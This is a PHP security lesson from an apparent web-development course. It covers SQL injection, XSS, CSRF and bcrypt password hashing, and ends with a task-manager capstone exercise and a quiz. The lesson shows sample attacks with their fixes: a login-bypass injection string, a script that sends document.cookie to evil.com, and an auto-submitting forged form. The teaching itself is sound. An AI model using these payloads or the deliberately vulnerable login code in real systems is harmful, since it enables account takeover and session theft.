1. SQL Injection, Revisited Properly
Week 7 introduced prepared statements as "the safe way." Here's exactly what goes wrong without them. Consider a naive login check:
<?php
$email = $_POST['email'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE email = '{$email}' AND password = '{$password}'";
$result = $pdo->query($sql);
An attacker submits email = admin@example.com' -- as the email field.
The concatenated query becomes:
SELECT * FROM users WHERE email = 'admin@example.com' -- ' AND password = '...'
-- starts a SQL comment — everything after it, including the password
check, is ignored. The attacker is now logged in as admin@example.com
with no valid password at all. This works because the input became part of the SQL
structure, not just its data.
The fix, as covered in Week 7, is a prepared statement — the value is bound as data and can never alter the query's structure, no matter what characters it contains:
<?php
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_POST['email'] ?? '']);
$user = $stmt->fetch();
// Password verification happens separately, in PHP -- see the hashing section below
2. Cross-Site Scripting (XSS)
XSS happens when attacker-supplied content ends up executed as HTML/JavaScript in another user's browser. Say a comments feature stores and displays raw input:
<?php foreach ($comments as $comment): ?>
<p><?= $comment['body'] ?></p>
<?php endforeach; ?>
An attacker submits a comment containing
<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>.
Every other visitor who views the page now runs that script in their own browser,
with their own session — the attacker can steal session cookies, submit forms as
that user, or redirect them anywhere.
<?php foreach ($comments as $comment): ?>
<p><?= htmlspecialchars($comment['body']) ?></p>
<?php endforeach; ?>
htmlspecialchars() converts < to <,
> to >, and similar — the browser renders the
malicious payload as inert text, never as a live <script> tag.
The rule from Week 1 stands: escape every piece of dynamic content at the point it
gets printed into HTML, without exception.
3. Cross-Site Request Forgery (CSRF)
CSRF tricks a logged-in user's browser into submitting a request they never intended — because browsers automatically attach cookies (including your session cookie) to any request sent to your domain, regardless of which site the request originated from. A malicious page hosted anywhere on the internet could contain:
<form action="https://yourshop.com/delete-account.php" method="POST">
<input type="hidden" name="confirm" value="yes">
</form>
<script>document.forms[0].submit();</script>
If a logged-in user's browser merely visits that page, it silently submits a POST request to your site — with their session cookie attached automatically, exactly as if they'd clicked "delete my account" themselves. The fix is a CSRF token: a random, per-session value embedded in every form, which an attacker's page has no way to know:
<?php
session_start();
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$submittedToken = $_POST['csrf_token'] ?? '';
if (!hash_equals($_SESSION['csrf_token'], $submittedToken)) {
die('Invalid request.');
}
// token is valid -- proceed
}
?>
<form method="post" action="delete-account.php">
<input type="hidden" name="csrf_token" value="<?= htmlspecialchars($_SESSION['csrf_token']) ?>">
<input type="hidden" name="confirm" value="yes">
<button type="submit">Delete My Account</button>
</form>
hash_equals() compares the two tokens in constant time, regardless of
where they first differ — a plain === comparison can theoretically
leak timing information about how many leading characters matched, which matters
for security-sensitive comparisons like this one. Laravel generates and checks
CSRF tokens like this automatically starting Week 9; here you're seeing the
mechanism it's built on.
4. Password Hashing
Never store a password in plain text, and never write your own hashing scheme.
PHP's password_hash() uses bcrypt by default — a deliberately slow,
salted hashing algorithm designed specifically to resist brute-force attacks even
if the database is stolen:
<?php
declare(strict_types=1);
// At registration
$hash = password_hash($_POST['password'], PASSWORD_DEFAULT);
// $hash looks like: $2y$10$N9qo8uLOickgx2ZMRZoMy...
// Store $hash in the database -- never the raw password
$stmt = $pdo->prepare('INSERT INTO users (email, password_hash) VALUES (:email, :hash)');
$stmt->execute(['email' => $email, 'hash' => $hash]);
// At login
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email');
$stmt->execute(['email' => $_POST['email'] ?? '']);
$user = $stmt->fetch();
if ($user && password_verify($_POST['password'], $user['password_hash'])) {
session_start();
session_regenerate_id(true); // new session ID on privilege change -- prevents session fixation
$_SESSION['logged_in'] = true;
$_SESSION['user_id'] = $user['id'];
} else {
echo "Invalid email or password.";
// Deliberately vague -- don't reveal whether the email or the password was wrong
}
password_hash() automatically generates a random salt and embeds it
in the returned string, so password_verify() can extract it and
re-derive the hash for comparison — you never handle the salt yourself.
PASSWORD_DEFAULT tracks PHP's currently recommended algorithm, so a
future PHP version can improve it without any code changes on your end.
Returning a different message for "no account with that email" versus "wrong password" lets an attacker enumerate which email addresses have accounts on your site. One generic "invalid email or password" message avoids leaking that information.
5. The Module Project
This week's exercise is the module capstone — a complete task manager tying together every piece from Weeks 1 through 8: OOP structure, Composer autoloading, sessions, PDO with prepared statements, and everything from this week's security pass. Read through the target shape before starting:
task-manager/
├── composer.json
├── public/
│ ├── index.php ← front controller: routes to actions below
│ ├── register.php
│ ├── login.php
│ ├── logout.php
│ ├── tasks.php ← list + create (session-gated)
│ └── tasks-delete.php ← delete (session-gated, CSRF-checked)
├── src/
│ └── App/
│ ├── Database.php ← PDO connection factory
│ ├── UserRepository.php
│ └── TaskRepository.php
└── schema.sql
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
email VARCHAR(255) NOT NULL UNIQUE,
password_hash VARCHAR(255) NOT NULL,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
CREATE TABLE tasks (
id INT AUTO_INCREMENT PRIMARY KEY,
user_id INT NOT NULL,
title VARCHAR(200) NOT NULL,
is_done BOOLEAN NOT NULL DEFAULT FALSE,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (user_id) REFERENCES users(id)
);
6. Module Capstone Exercise
Build a secured, multi-user task manager
Everything from Weeks 1–8, wired together into one deployable application.
Requirements:
- Run the schema above and set up a Composer project with a
psr-4autoload mapping tosrc/App. - Register: a form validating email format and password length (8+ characters), hashing the password with
password_hash(), and rejecting duplicate emails with a friendly message (catching SQLSTATE23000). - Login: verify with
password_verify(), callsession_regenerate_id(true)on success, and show one generic error message on failure. - Tasks list + create: session-gated (redirect to login if not authenticated), listing only the logged-in user's own tasks, with a form to add a new one.
- Delete task: must check a CSRF token, and must verify the task's
user_idmatches the logged-in user before deleting — a user should never be able to delete another user's task by guessing an ID. - Escape every piece of dynamic content printed into HTML anywhere in the app.
A user being logged in proves who they are — it doesn't prove they're allowed to delete a specific task. Checking WHERE id = :taskId AND user_id = :currentUserId (not just WHERE id = :taskId) on every delete is what actually stops one user from deleting another's data. This exact class of bug — authentication without authorization — is one of the most common real-world vulnerabilities, and Laravel's Policies (Week 13) exist specifically to make it structurally hard to forget.
7. Knowledge Check
Four quick questions. Expand each to check your answer.
Q1
Why does a stolen database full of bcrypt password hashes not immediately expose every user's actual password?
Why does a stolen database full of bcrypt password hashes not immediately expose every user's actual password?
Hashing is one-directional — there's no computation that reverses a bcrypt hash back into the original password. Recovering a password requires guessing candidates and hashing each one to see if it matches, and bcrypt is deliberately slow specifically to make that brute-force process expensive, unlike a fast general-purpose hash like plain SHA-256.
Q2
Why does the CSRF form example use hash_equals() instead of a plain === comparison?
Why does the CSRF form example use hash_equals() instead of a plain === comparison?
hash_equals() takes the same amount of time to compare two strings regardless of how many characters match before the first difference, while ==='s comparison can return faster the earlier a mismatch occurs. For security-sensitive comparisons like token or hash checking, that timing difference is (in principle) a side channel an attacker could exploit to guess the correct value one character at a time — hash_equals() exists specifically to close that gap.
Q3
Why call session_regenerate_id(true) right after a successful login?
Why call session_regenerate_id(true) right after a successful login?
It generates a fresh session ID and invalidates the old one, preventing session fixation — a scenario where an attacker forces or tricks a victim into using a session ID the attacker already knows, then waits for the victim to log in under that same ID to hijack the now-authenticated session. Rotating the ID on every privilege change (login being the most important) closes that window.
Q4
A delete-task endpoint checks that the user is logged in, and checks a valid CSRF token. Is that enough to stop one user deleting another user's task?
A delete-task endpoint checks that the user is logged in, and checks a valid CSRF token. Is that enough to stop one user deleting another user's task?
No. Both of those checks confirm the request is genuinely coming from a logged-in user's own browser — they say nothing about whether that specific user is allowed to delete that specific task. Without also checking that the task's user_id matches the logged-in user's ID, any authenticated user could delete any task simply by guessing or incrementing task IDs. This is the difference between authentication (who are you) and authorization (what are you allowed to do).